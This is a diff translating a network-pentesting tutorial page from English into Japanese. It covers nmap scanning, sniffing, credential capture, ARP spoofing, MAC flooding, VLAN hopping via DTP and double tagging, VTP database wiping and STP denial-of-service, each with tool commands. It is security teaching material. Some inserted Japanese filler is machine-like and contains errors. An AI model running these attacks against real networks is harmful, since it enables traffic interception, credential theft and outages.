+前に提案されたnmapの行は、/24の範囲内のすべてのホストで**上位1000のUDPポート**をテストしますが、これだけでも**20分以上**かかります。もっと**高速な結果**が必要な場合は、[**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)を使用できます: `./udp-proto-scanner.pl 199.66.11.53/24` これにより、これらの**UDPプローブ**が予想されるポートに送信されます(/24の範囲では1分で完了します): _DNSStatusRequest、DNSVersionBindReq、NBTStat、NTPRequest、RPCCheck、SNMPv3GetRequest、chargen、citrix、daytime、db2、echo、gtpv1、ike、ms-sql、ms-sql-slam、netop、ntp、rpc、snmp-public、systat、tftp、time、xdmcp。_ -The nmap line proposed before will test the **top 1000 UDP ports** in every host inside the **/24** range but even only this will take **>20min**. If need **fastest results** you can use [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` This will send these **UDP probes** to their **expected port** (for a /24 range this will just take 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ - -### SCTP Port Discovery - +### SCTPポートの検出 ```bash #Probably useless, but it's pretty fast, why not trying? nmap -T4 -sY -n --open -Pn ``` +## Wifiのペンテスト -## Pentesting Wifi - -Here you can find a nice guide of all the well known Wifi attacks at the time of the writing: +ここでは、執筆時点でよく知られているWifi攻撃の素晴らしいガイドを見つけることができます: {% content-ref url="../pentesting-wifi/" %} [pentesting-wifi](../pentesting-wifi/) {% endcontent-ref %} -## Discovering hosts from the inside +## 内部からホストを発見する -If you are inside the network one of the first things you will want to do is to **discover other hosts**. Depending on **how much noise** you can/want to do, different actions could be performed: +ネットワーク内部にいる場合、最初に行いたいことの一つは、**他のホストを発見する**ことです。**どれだけのノイズ**を出すことができるか/したいかによって、異なるアクションを実行することができます: -### Passive - -You can use these tools to passively discover hosts inside a connected network: +### パッシブ +これらのツールを使用して、接続されたネットワーク内のホストを受動的に発見することができます: ```bash netdiscover -p p0f -i eth0 -p -o /tmp/p0f.log @@ -97,12 +86,10 @@ net.recon on/off #Read local ARP cache periodically net.show set net.show.meta true #more info ``` +### アクティブ -### Active - -Note that the techniques commented in [_**Discovering hosts from the outside**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: - +[_**外部からホストを発見する**_](./#discovering-hosts-from-the-outside)(TCP/HTTP/UDP/SCTPポートの発見)でコメントされているテクニックは、ここでも**適用できます**。\ +ただし、他のホストと**同じネットワーク**にいるため、**さらに多くのこと**ができます。 ```bash #ARP discovery nmap -sn #ARP Requests (Discover IPs) @@ -122,101 +109,91 @@ set net.probe.throttle 10 #10ms between probes sent (default=10) #IPv6 alive6 # Send a pingv6 to multicast. ``` - ### Active ICMP -Note that the techniques commented in _Discovering hosts from the outside_ ([_**ICMP**_](./#icmp)) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: +注意してほしいのは、_Discovering hosts from the outside_ ([_**ICMP**_](./#icmp)) でコメントされているテクニックは、ここでも**適用できる**ということです。\ +ただし、他のホストとは**同じネットワーク**にいるため、**さらに多くのこと**ができます。 -* If you **ping** a **subnet broadcast address** the ping should be arrive to **each host** and they could **respond** to **you**: `ping -b 10.10.5.255` -* Pinging the **network broadcast address** you could even find hosts inside **other subnets**: `ping -b 255.255.255.255` -* Use the `-PEPM` flag of `nmap`to perform host discovery sending **ICMPv4 echo**, **timestamp**, and **subnet mask requests:** `nmap -PEPM -sP –vvv -n 10.12.5.0/24` +* **サブネットのブロードキャストアドレス**に対して**ping**を送信すると、pingが**各ホスト**に到達し、彼らが**あなたに応答**する可能性があります: `ping -b 10.10.5.255` +* **ネットワークのブロードキャストアドレス**にpingを送信すると、**他のサブネット内のホスト**を見つけることもできます: `ping -b 255.255.255.255` +* `nmap`の`-PEPM`フラグを使用して、**ICMPv4 echo**、**timestamp**、および**subnet mask requests**を送信してホストの検出を実行することもできます: `nmap -PEPM -sP –vvv -n 10.12.5.0/24` ### **Wake On Lan** -Wake On Lan is used to **turn on** computers through a **network message**. The magic packet used to turn on the computer is only a packet where a **MAC Dst** is provided and then it is **repeated 16 times** inside the same paket.\ -Then this kind of packets are usually sent in an **ethernet 0x0842** or in a **UDP packet to port 9**.\ -If **no \[MAC]** is provided, the packet is sent to **broadcast ethernet** (and the broadcast MAC will be the one being repeated). - +Wake On Lanは、**ネットワークメッセージ**を介してコンピュータを**起動**するために使用されます。コンピュータを起動するために使用されるマジックパケットは、単に**MAC Dst**が提供され、それが同じパケット内で**16回繰り返される**パケットです。\ +そのため、この種のパケットは通常、**イーサネット0x0842**または**ポート9へのUDPパケット**で送信されます。\ +**\[MAC]**が提供されていない場合、パケットは**ブロードキャストイーサネット**に送信されます(ブロードキャストMACが繰り返されるものになります)。 ```bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 ``` +## ホストのスキャン -## Scanning Hosts - -Once you have discovered all the IPs (external or internal) you want to scan in depth, different actions can be performed. +詳細にスキャンしたいすべてのIP(外部または内部)を発見したら、さまざまなアクションを実行できます。 ### TCP -* **Open** port: _SYN --> SYN/ACK --> RST_ -* **Closed** port: _SYN --> RST/ACK_ -* **Filtered** port: _SYN --> \[NO RESPONSE]_ -* **Filtered** port: _SYN --> ICMP message_ - +* **オープン**ポート: _SYN --> SYN/ACK --> RST_ +* **クローズド**ポート: _SYN --> RST/ACK_ +* **フィルタリングされた**ポート: _SYN --> \[NO RESPONSE]_ +* **フィルタリングされた**ポート: _SYN --> ICMPメッセージ_ ```bash # Nmap fast scan for the most 1000tcp ports used -nmap -sV -sC -O -T4 -n -Pn -oA fastscan +nmap -sV -sC -O -T4 -n -Pn -oA fastscan # Nmap fast scan for all the ports -nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan +nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan # Nmap fast scan for all the ports slower to avoid failures due to -T4 nmap -sV -sC -O -p- -n -Pn -oA fullscan #Bettercap Scan syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 ``` - ### UDP -There are 2 options to scan an UDP port: +UDPポートをスキャンするための2つのオプションがあります: -* Send a **UDP packet** and check for the response _**ICMP unreachable**_ if the port is **closed** (in several cases ICMP will be **filtered** so you won't receive any information inf the port is close or open). -* Send a **formatted datagrams** to elicit a response from a **service** (e.g., DNS, DHCP, TFTP, and others, as listed in _nmap-payloads_). If you receive a **response**, then, the port is **open**. - -**Nmap** will **mix both** options using "-sV" (UDP scans are very slow), but notice that UDP scans are slower than TCP scans: +* ポートが**閉じている**場合、**UDPパケット**を送信し、応答が**ICMP unreachable**であるかどうかを確認します(いくつかの場合、ICMPは**フィルタリング**されるため、ポートが閉じているか開いているかの情報を受信できません)。 +* 応答を引き出すために、**フォーマットされたデータグラム**を**サービス**(例:DNS、DHCP、TFTPなど、_nmap-payloads_にリストされている他のサービス)に送信します。応答を受け取った場合、ポートは**開いています**。 +**Nmap**は、"-sV"を使用して両方のオプションを**組み合わせ**ます(UDPスキャンは非常に遅いです)。ただし、UDPスキャンはTCPスキャンよりも遅いことに注意してください: ```bash # Check if any of the most common udp services is running -udp-proto-scanner.pl +udp-proto-scanner.pl # Nmap fast check if any of the 100 most common UDP services is running nmap -sU -sV --version-intensity 0 -n -F -T4 # Nmap check if any of the 100 most common UDP services is running and launch defaults scripts -nmap -sU -sV -sC -n -F -T4 +nmap -sU -sV -sC -n -F -T4 # Nmap "fast" top 1000 UDP ports nmap -sU -sV --version-intensity 0 -n -T4 # You could use nmap to test all the UDP ports, but that will take a lot of time ``` +### SCTPスキャン -### SCTP Scan - -SCTP sits alongside TCP and UDP. Intended to provide **transport** of **telephony** data over **IP**, the protocol duplicates many of the reliability features of Signaling System 7 (SS7), and underpins a larger protocol family known as SIGTRAN. SCTP is supported by operating systems including IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, and VxWorks. - -Two different scans for SCTP are offered by nmap: _-sY_ and _-sZ_ +SCTPはTCPとUDPと並んで存在します。IP上での**電話**データの**輸送**を提供することを目的としており、このプロトコルはSignaling System 7(SS7)の信頼性機能の多くを複製し、SIGTRANとして知られる大規模なプロトコルファミリーの基盤となっています。SCTPは、IBM AIX、Oracle Solaris、HP-UX、Linux、Cisco IOS、およびVxWorksを含むオペレーティングシステムでサポートされています。 +nmapでは、SCTPに対して2つの異なるスキャンが提供されています: _-sY_ と _-sZ_ ```bash # Nmap fast SCTP scan nmap -T4 -sY -n -oA SCTFastScan # Nmap all SCTP scan nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ``` - -### IDS and IPS evasion +### IDSとIPSの回避 {% content-ref url="ids-evasion.md" %} [ids-evasion.md](ids-evasion.md) {% endcontent-ref %} -### **More nmap options** +### **さらなるnmapオプション** {% content-ref url="nmap-summary-esp.md" %} [nmap-summary-esp.md](nmap-summary-esp.md) {% endcontent-ref %} -### Revealing Internal IP Addresses - -Misconfigured routers, firewalls, and network devices sometimes **respond** to network probes **using nonpublic source addresses**. You can use _tcpdump_ used to **identify packets** received from **private addresses** during testing. In this case, the _eth2_ interface in Kali Linux is **addressable** from the **public Internet** (If you are **behind** a **NAT** of a **Firewall** this kind of packets are probably going to be **filtered**). +### 内部IPアドレスの特定 +設定ミスのあるルーター、ファイアウォール、およびネットワークデバイスは、ネットワークプローブに対して**非公開のソースアドレスを使用して応答する**ことがあります。テスト中に、_tcpdump_を使用して**プライベートアドレスから受信したパケットを特定**することができます。この場合、Kali Linuxの_eth2_インターフェースは**公共のインターネットからアクセス可能**です(もし**NAT**または**ファイアウォール**の**背後**にいる場合、この種のパケットはおそらく**フィルタリング**されるでしょう)。 ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode @@ -224,30 +201,30 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64 IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 ``` +## スニッフィング -## Sniffing +スニッフィングを行うことで、キャプチャされたフレームやパケットを確認することで、IP範囲、サブネットのサイズ、MACアドレス、ホスト名の詳細を知ることができます。ネットワークが誤って構成されているか、スイッチングファブリックがストレス下にある場合、攻撃者は受動的なネットワークスニッフィングを通じて機密情報をキャプチャすることができます。 -Sniffing you can learn details of IP ranges, subnet sizes, MAC addresses, and hostnames by reviewing captured frames and packets. If the network is misconfigured or switching fabric under stress, attackers can capture sensitive material via passive network sniffing. - -If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address. +スイッチングイーサネットネットワークが適切に構成されている場合、ブロードキャストフレームとMACアドレス宛のデータのみが表示されます。 ### TCPDump - ```bash sudo tcpdump -i udp port 53 #Listen to DNS request to discover what is searching the host tcpdump -i icmp #Listen to icmp packets sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" ``` - -One can, also, capture packets from a remote machine over an SSH session with Wireshark as the GUI in realtime. - +リアルタイムでGUIとしてWiresharkを使用して、SSHセッションを介してリモートマシンからパケットをキャプチャすることもできます。 ``` ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh @ tcpdump -i -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic ``` - ### Bettercap +Bettercapは、ネットワークのペネトレーションテストに使用される強力なツールです。このツールは、中間者攻撃やスニッフィングなどのさまざまな攻撃手法を実行することができます。Bettercapは、ARPスープやDNSスプーフィングなどの攻撃を実行するためのモジュールを提供しています。 + +Bettercapを使用すると、ネットワーク上のトラフィックをキャプチャし、解析することができます。また、ユーザーのセッションを傍受し、情報を盗むことも可能です。Bettercapは、ネットワークの脆弱性を特定し、セキュリティの脆弱性をテストするための便利なツールです。 + +Bettercapは、コマンドラインインターフェース(CLI)を使用して操作されます。さまざまなモジュールやオプションを使用して、攻撃手法をカスタマイズすることができます。Bettercapは、ネットワークのセキュリティをテストするための優れたツールであり、ペネトレーションテスターにとって非常に有用です。 ```bash net.sniff on net.sniff stats @@ -256,23 +233,21 @@ set net.sniff.local #If true it will consider packets from/to this computer, ot set net.sniff.filter #BPF filter for the sniffer (default=not arp) set net.sniff.regexp #If set only packets matching this regex will be considered ``` - ### Wireshark -Obviously. +当然です。 -### Capturing credentials +### 資格情報のキャプチャ -You can us tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz)のようなツールを使用して、pcapファイルまたはライブインターフェースから資格情報を解析することができます。 -## LAN attacks +## LAN攻撃 -### ARP spoofing +### ARPスプーフィング -ARP Spoofing consist on sending gratuitous ARPResponses to indicate that the IP of a machine has the MAC of our device. Then, the victim will change the ARP table and will contact our machine every time it wants to contact the IP spoofed. +ARPスプーフィングは、偽のARP応答を送信して、マシンのIPが私たちのデバイスのMACアドレスであることを示すことです。その後、被害者はARPテーブルを変更し、IPスプーフィングされた場合には常に私たちのマシンに連絡を取るようになります。 #### **Bettercap** - ```bash arp.spoof on set arp.spoof.targets #Specific targets to ARP spoof (default=) @@ -280,37 +255,37 @@ set arp.spoof.whitelist #Specific targets to skip while spoofing set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false) set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false) ``` +#### **Arpspoof(ARPスプーフィング)** -#### **Arpspoof** +Arpspoofは、ARPスプーフィング攻撃を実行するためのツールです。ARPスプーフィングは、ネットワーク上のデバイス間の通信を傍受、盗聴、改ざんするために使用されます。この攻撃では、攻撃者はネットワーク上の他のデバイスに対して自身が目的のデバイスであるかのように偽装します。これにより、攻撃者は通信の内容を傍受し、必要に応じて改ざんすることができます。 +Arpspoofは、攻撃者がターゲットデバイスとゲートウェイ(ルーター)の間の通信を傍受するために使用されます。攻撃者は、ターゲットデバイスに対して自身がゲートウェイであるかのように偽装し、同時にゲートウェイに対して自身がターゲットデバイスであるかのように偽装します。これにより、攻撃者はターゲットデバイスとゲートウェイの間の通信を傍受し、必要に応じて改ざんすることができます。 + +Arpspoofは、ネットワーク内のデバイス間の通信を監視するための便利なツールですが、悪意のある目的で使用される可能性もあるため、慎重に使用する必要があります。 ```bash echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -t 192.168.1.1 192.168.1.2 arpspoof -t 192.168.1.2 192.168.1.1 ``` +### MACフラッディング - CAMオーバーフロー -### MAC Flooding - CAM overflow - -Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub (broadcasting all the traffic). - +スイッチのCAMテーブルをオーバーフローさせ、異なるソースMACアドレスを持つ多くのパケットを送信します。CAMテーブルがいっぱいになると、スイッチはハブのように振る舞い始めます(すべてのトラフィックをブロードキャストします)。 ```bash macof -i ``` +現代のスイッチでは、この脆弱性は修正されています。 -In modern switches this vulnerability has been fixed. +### 802.1Q VLAN / DTP 攻撃 -### 802.1Q VLAN / DTP Attacks +#### ダイナミックトランキング -#### Dynamic Trunking +**DTP (Dynamic Trunking Protocol)** は、自動トランキングシステムを提供するために設計されたリンク層プロトコルです。DTPを使用すると、スイッチはどのポートがトランクモード(Trunk)で動作し、どのポートがそうでないかを決定します。**DTPの使用は、ネットワーク設計が不十分であることを示しています。**トランクは必要な場所に厳密に配置され、文書化されるべきです。 -**DTP (Dynamic Trunking Protocol)** is a link layer protocol designed to provide an automatic trunking system. With DTP, switches decide which port will work in trunk mode (Trunk) and which will not. The use of **DTP** indicates **poor network design.** **Trunks should be strictly** where they are needed, and it should be documented. +**デフォルトでは、すべてのスイッチポートは Dynamic Auto モードで動作します。**これは、スイッチポートが隣接するスイッチからのトランク初期化モードであることを示しています。**ペンテスターはスイッチに物理的に接続し、DTP Desirable フレームを送信する必要があります**。これにより、ポートがトランクモードに切り替わります。攻撃者は、STPフレームの解析を使用してVLANを列挙し、仮想インターフェースを作成することでVLANセグメンテーションを回避することができます。 -**By default, all switch ports operate in Dynamic Auto mode.** This indicates that the switch port is in trunk initiation mode from the neighbouring switch. **The Pentester needs to physically connect to the switch and send a DTP Desirable frame**, which triggers the port to switch to trunk mode. The attacker can then enumerate VLANs using STP frame analysis and bypass VLAN segmentation by creating virtual interfaces. - -Many switches support the Dynamic Trunking Protocol (DTP) by default, however, which an adversary can abuse to **emulate a switch and receive traffic across all VLANs**. The tool [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) can sniff an interface and **reports if switch is in Default mode, trunk, dynamic, auto or access mode** (this is the only one that would avoid VLAN hopping). The tool will indicate if the switch is vulnerable or not. - -If it was discovered that the the network is vulnerable, you can use _**Yersinia**_ to launch an "**enable trunking**" using protocol "**DTP**" and you will be able to see network packets from all the VLANs. +多くのスイッチはデフォルトで Dynamic Trunking Protocol (DTP) をサポートしていますが、これを悪用して**スイッチをエミュレートし、すべてのVLANを介してトラフィックを受信**することができます。ツール [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) は、インターフェースをスニフィングし、スイッチがデフォルトモード、トランク、ダイナミック、オート、またはアクセスモードであるかを**報告します**(これはVLANホッピングを回避する唯一の方法です)。ツールは、スイッチが脆弱かどうかを示します。 +ネットワークが脆弱であることが判明した場合、_**Yersinia**_ を使用してプロトコル "**DTP**" を使用した "**enable trunking**" を実行し、すべてのVLANからのネットワークパケットを表示することができます。 ```bash apt-get install yersinia #Installation sudo apt install kali-linux-large #Another way to install it in Kali @@ -321,26 +296,20 @@ yersinia -I #Interactive mode yersinia -G #For graphic mode ``` - ![](<../../.gitbook/assets/image (646) (1).png>) -To enumerate the VLANs it's also possible to generate the DTP Desirable frame with the script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. D**o not interrupt the script under any circumstances. It injects DTP Desirable every three seconds. **The dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.** - +VLANを列挙するためには、スクリプト[DTPHijacking.py](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)を使用してDTP Desirableフレームを生成することも可能です。スクリプトを絶対に中断しないでください。それは3秒ごとにDTP Desirableを注入します。スイッチ上で動的に作成されたトランクチャネルは、わずか5分間しか存在しません。5分後にトランクは切断されます。 ``` sudo python3 DTPHijacking.py --interface eth0 ``` - -I would like to point out that **Access/Desirable (0x03)** indicates that the DTP frame is of the Desirable type, which tells the port to switch to Trunk mode. And **802.1Q/802.1Q (0xa5**) indicates the **802.1Q** encapsulation type. - -By analyzing the STP frames, **we learn about the existence of VLAN 30 and VLAN 60.** +私たちがSTPフレームを分析することで、VLAN 30とVLAN 60の存在を知ることができます。
-#### Attacking specific VLANs - -Once you known VLAN IDs and IPs values, you can **configure a virtual interface to attack a specific VLAN**.\ -If DHCP is not available, then use _ifconfig_ to set a static IP address. +#### 特定のVLANへの攻撃 +VLANのIDとIP値がわかったら、特定のVLANに攻撃するために仮想インターフェースを設定することができます。\ +DHCPが利用できない場合は、静的IPアドレスを設定するために_ifconfig_を使用してください。 ``` root@kali:~# modprobe 8021q root@kali:~# vconfig add eth1 250 @@ -349,13 +318,13 @@ root@kali:~# dhclient eth1.250 Reloading /etc/samba/smb.conf: smbd only. root@kali:~# ifconfig eth1.250 eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65 - inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 - inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 - RX packets:19 errors:0 dropped:0 overruns:0 frame:0 - TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:0 - RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) +inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 +inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link +UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 +RX packets:19 errors:0 dropped:0 overruns:0 frame:0 +TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 +collisions:0 txqueuelen:0 +RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) root@kali:~# arp-scan -I eth1.250 10.121.5.0/24 ``` @@ -373,170 +342,146 @@ sudo vconfig add eth0 30 sudo ip link set eth0.30 up sudo dhclient -v eth0.30 ``` +#### 自動VLANホッパー -#### Automatic VLAN Hopper +**ダイナミックトランキングと仮想インターフェースの作成、他のVLAN内のホストの発見**という攻撃は、ツール[**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)によって**自動的に実行**されます。 -The discussed attack of **Dynamic Trunking and creating virtual interfaces an discovering hosts inside** other VLANs are **automatically performed** by the tool: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) +#### ダブルタギング -#### Double Tagging +攻撃者が**被害者ホストのMAC、IP、VLAN IDの値を知っている**場合、指定されたVLANと被害者のVLANのフレームに**ダブルタグを付けて**パケットを送信することができます。被害者は攻撃者との接続ができないため、攻撃者にとって**最良のオプションはUDPを介して通信する**ことです(SNMPのような興味深いアクションを実行できるプロトコル)。 -If an attacker knows the value of the **MAC, IP and VLAN ID of the victim host**, he could try to **double tag a frame** with its designated VLAN and the VLAN of the victim and send a packet. As the **victim won't be able to connect back** with the attacker, so the **best option for the attacker is communicate via UDP** to protocols that can perform some interesting actions (like SNMP). - -Another option for the attacker is to launch a **TCP port scan spoofing an IP controlled by the attacker and accessible by the victim** (probably through internet). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim. +攻撃者の別のオプションは、攻撃者が制御し、被害者がアクセスできるIPをスプーフィングして**TCPポートスキャンを実行**することです(おそらくインターネット経由で)。その後、攻撃者は自分が所有する2番目のホストでパケットを受信するかどうかをスニッフィングすることができます。 ![](<../../.gitbook/assets/image (635) (1).png>) -To perform this attack you could use scapy: `pip install scapy` - +この攻撃を実行するには、scapyを使用できます:`pip install scapy` ```python from scapy.all import * # Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker) packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP() sendp(packet) ``` +#### Lateral VLANセグメンテーションバイパス -#### Lateral VLAN Segmentation Bypass - -If you have **access to a switch that you are directly connected to**, you have the ability to **bypass VLAN segmentation** within the network. Simply **switch the port to trunk mode** (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case. +もし**直接接続されたスイッチにアクセス権限がある**場合、ネットワーク内での**VLANセグメンテーションをバイパス**することができます。単にポートをトランクモード(またはトランク)に切り替え、ターゲットVLANのIDを持つ仮想インターフェースを作成し、IPアドレスを設定します。アドレスを動的に要求する(DHCP)か、静的に設定するかはケースによります。 {% content-ref url="lateral-vlan-segmentation-bypass.md" %} [lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md) {% endcontent-ref %} -#### Layer 3 Private VLAN Bypass +#### レイヤー3プライベートVLANバイパス -In guest wireless networks and other environments, private VLAN (also known as _port isolation_) settings are used to **prevent peers from interacting** (i.e., clients **connect to a wireless access point but cannot address one another**). Depending on network ACLs (or lack thereof), it might be possible to send IP packets up to a router, which are then forwarded back to a neighbouring peer. +ゲストワイヤレスネットワークやその他の環境では、プライベートVLAN(またはポートアイソレーションとも呼ばれる)設定が使用されています。これにより、ピア同士の相互作用が**防止されます**(つまり、クライアントは**ワイヤレスアクセスポイントに接続できますが、互いにアドレスを指定することはできません**)。ネットワークACL(またはそれがない場合)によっては、IPパケットをルータに送信し、それが隣接するピアに転送される可能性があります。 -This attack will send a **specially crafted packet to the IP of a client but with the MAC of the router**. Then, the **router will redirect the packet to the client**. As in _Double Tagging Attacks_ you can exploit this vulnerability by controlling a host accessible by the victim. +この攻撃では、**クライアントのIPに対してルータのMACを持つ特別に作成されたパケットを送信**します。その後、**ルータはパケットをクライアントにリダイレクト**します。_ダブルタギング攻撃_と同様に、被害者によってアクセス可能なホストを制御することで、この脆弱性を悪用することができます。 -### VTP Attacks +### VTP攻撃 -**VTP (VLAN Trunking Protocol)** is a protocol designed to centrally manage VLANs. To keep track of the current VLAN database, switches check special revision numbers. When any table update occurs, the revision number is incremented by one. And if a switch detects a configuration with a higher revision number, it will automatically update its VLAN database. +**VTP(VLANトランキングプロトコル)**は、VLANを一元管理するためのプロトコルです。スイッチは現在のVLANデータベースを追跡するために特別なリビジョン番号をチェックします。テーブルの更新が発生すると、リビジョン番号は1つ増加します。そして、スイッチがより高いリビジョン番号の設定を検出した場合、自動的にVLANデータベースを更新します。 -#### Roles in a VTP domain +#### VTPドメインの役割 -* **VTP Server.** A switch in the VTP Server role can create new VLANs, delete old ones, or change information in the VLANs themselves. **It also generates VTP announcements for the rest of the domain members.** -* **VTP Client.** A switch in this role will receive specific VTP announcements from other switches in the domain to update the VLAN databases on its own. Clients are limited in their ability to create VLANs and are not even allowed to change the VLAN configuration locally. In other words, **read only access.** -* **VTP Transparent.** In this mode, the switch does not participate in VTP processes and can host full and local administration of the entire VLAN configuration. When operating in transparent mode, switches only transmit VTP announcements from other switches without affecting their VLAN configuration. **Such switches will always have a revision number of zero and cannot be attacked.** +* **VTPサーバー.** VTPサーバーの役割を持つスイッチは、新しいVLANを作成したり、古いVLANを削除したり、VLAN自体の情報を変更したりすることができます。**また、ドメインの他のメンバーに対してVTPアナウンスを生成します。** +* **VTPクライアント.** この役割のスイッチは、ドメイン内の他のスイッチから特定のVTPアナウンスを受信し、自身のVLANデータベースを更新します。クライアントはVLANを作成する能力に制限があり、VLANの設定をローカルで変更することはできません。言い換えれば、**読み取り専用アクセス**です。 +* **VTPトランスペアレント.** このモードでは、スイッチはVTPプロセスに参加せず、VLAN構成全体の完全なローカル管理を行うことができます。トランスペアレントモードで動作している場合、スイッチは他のスイッチからのVTPアナウンスのみを送信し、VLAN構成には影響を与えません。**このようなスイッチのリビジョン番号は常にゼロであり、攻撃の対象にはなりません。** -#### Advertisement types +#### 広告タイプ -* **Summary Advertisement —** the VTP announcement that the VTP server sends every **300 seconds (5 minutes).** This announcement stores the VTP domain name, protocol version, timestamp, and MD5 configuration hash value. -* **Subset Advertisement —** this is the VTP advertisement that is sent whenever a VLAN configuration change occurs. -* **Advertisement Request —** is a request from the VTP client to the VTP server for a Summary Advertisement message. Usually sent in response to a message that a switch has detected a Summary Advertisement with a higher configuration revision number. +* **サマリ広告 —** VTPサーバーが**300秒(5分)ごとに送信する**VTPアナウンスです。このアナウンスにはVTPドメイン名、プロトコルバージョン、タイムスタンプ、およびMD5構成ハッシュ値が格納されています。 +* **サブセット広告 —** VLAN構成の変更が発生するたびに送信されるVTP広告です。 +* **広告リクエスト —** VTPクライアントからVTPサーバーへのサマリ広告メッセージのリクエストです。通常、スイッチがより高い構成リビジョン番号を持つサマリ広告を検出したメッセージに対して送信されます。 -VTP can **only be attacked from a trunk port,** because **VTP announcements are only broadcast and received on trunk ports.** **Therefore, when pentesting after attacking DTP, your next target could be VTP.** To attack the VTP domain you can **use Yersinia** to **run a VTP inject that will erase the entire VLAN** **database** and thus paralyze the network. +VTPは**トランクポートからのみ攻撃**することができます。なぜなら、VTPアナウンスはトランクポートでのみブロードキャストおよび受信されるからです。**したがって、DTPへの攻撃後のペントestingでは、次のターゲットはVTPになる可能性があります。** VTPドメインを攻撃するには、**Yersinia**を使用して**VTPインジェクトを実行**し、**VLANデータベース全体を消去**してネットワークを麻痺させることができます。 {% hint style="info" %} -The VTP protocol has as many as **three versions**. In this post the attack is against the first version, VTPv1 +VTPプロトコルには**3つのバージョン**があります。この記事では、最初のバージョンであるVTPv1に対する攻撃です。 {% endhint %} - ```bash yersinia -G #For graphic mode ``` +### STP攻撃 -To erase the entire VLAN database, select the **deleting all VTP vlans** option - -
- -### STP Attacks - -**If you cannot capture BPDU frames on your interfaces, it is unlikely that you will succeed in an STP attack.** +**インターフェースでBPDUフレームをキャプチャできない場合、STP攻撃は成功しない可能性が高いです。** #### **STP BPDU DoS** -Sending a lot of BPDUs TCP (Topology Change Notification) or Conf (the BPDUs that are sent when the topology is created) the switches are overloaded and stop working correctly. - +多くのBPDUs(Topology Change Notification)またはConf(トポロジが作成されるときに送信されるBPDUs)を送信すると、スイッチが過負荷になり、正しく動作しなくなります。 ```bash yersinia stp -attack 2 yersinia stp -attack 3 #Use -M to disable MAC spoofing ``` +#### **STP TCP 攻撃** -#### **STP TCP Attack** - -When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously (or every 15segs) and when it is restarted, the switch behaves as a hub - +TCP を送信すると、スイッチの CAM テーブルは 15 秒で削除されます。その後、この種のパケットを連続して送信すると、CAM テーブルは連続して再起動されます(または毎 15 秒ごとに再起動されます)。再起動されると、スイッチはハブのように振る舞います。 ```bash yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen ``` +#### **STPルート攻撃** -#### **STP 